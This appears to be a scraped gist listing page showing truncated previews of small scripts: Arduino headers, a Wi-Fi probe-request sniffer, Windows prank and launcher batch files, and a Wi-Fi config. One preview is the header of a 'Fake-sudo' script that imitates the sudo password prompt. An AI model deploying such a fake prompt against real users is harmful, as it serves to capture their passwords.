This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Wire.h> | |
#include "Adafruit_MPR121.h" | |
#include <DFRobotDFPlayerMini.h> | |
#include <Arduino.h> | |
#include <MPR121.h> | |
#include <Streaming.h> | |
#include "Adafruit_VL53L0X.h" | |
#ifndef _BV | |
#define _BV(bit) (1 << (bit)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Wire.h> | |
#include "Adafruit_MPR121.h" | |
#include <DFRobotDFPlayerMini.h> | |
#include <Arduino.h> | |
#include <MPR121.h> | |
#include <Streaming.h> | |
#include "Adafruit_VL53L0X.h" | |
#ifndef _BV | |
#define _BV(bit) (1 << (bit)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# detect probe requests for Network Name and trigger narrated alert | |
sudo wifi_coconut --no-display --disable-leds --pcap=- | tshark -Y "wlan.fc.type==0 && wlan.fc.subtype==4" -r - | awk '/NetworkName/{system("espeak 'Network found'")}' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"> | |
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script> | |
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> | |
</head> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Fake-sudo | |
# | |
# This program imitates the behavior | |
# of the "sudo" command. | |
# | |
readonly INPUT_MESSAGE="[sudo] password for ${USER}: " | |
readonly MAXIMUM_ATTEMPTS=3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# NAME: flash-primary-screen.sh | |
# PATH: ~/bin | |
# DESC: Flashes primary screen colours to alert timer has ended. | |
# DATE: November 15, 2018 | |
# NOTE: Written for: https://askubuntu.com/a/1092835/307523 | |
# I'm looking for a command to flash screens (if possible in colors) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set oShell = WScript.CreateObject("WScript.Shell") | |
oShell.run"%SystemRoot%\System32\SndVol.exe" | |
WScript.Sleep 200 | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("%{F4}") | |
oShell.Run "chrome.exe" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
title Task launcher | |
color f0 | |
set list=teams.exe, outlook.exe | |
:l | |
for %%i in (%list%) do ( | |
tasklist /FI "IMAGENAME eq teams.exe" 2>NUL | find /I /N "teams.exe">NUL | |
if "%ERRORLEVEL%"=="0" echo Do not close this window attempting re-launch && timeout 10 && taskkill /F /IM %%i | |
echo Error Launching Task "Microsoft Teams" | |
timeout 2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
set iter=100 | |
:loop | |
md %userprofile%\Desktop\%iter% | |
set /a iter=iter-1 | |
if %iter%==0 goto exit | |
goto loop | |
:exit |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev | |
update_config=1 | |
country=US | |
network={ | |
ssid="network" | |
psk="password" | |
key_mgmt=WPA-PSK | |
} |
NewerOlder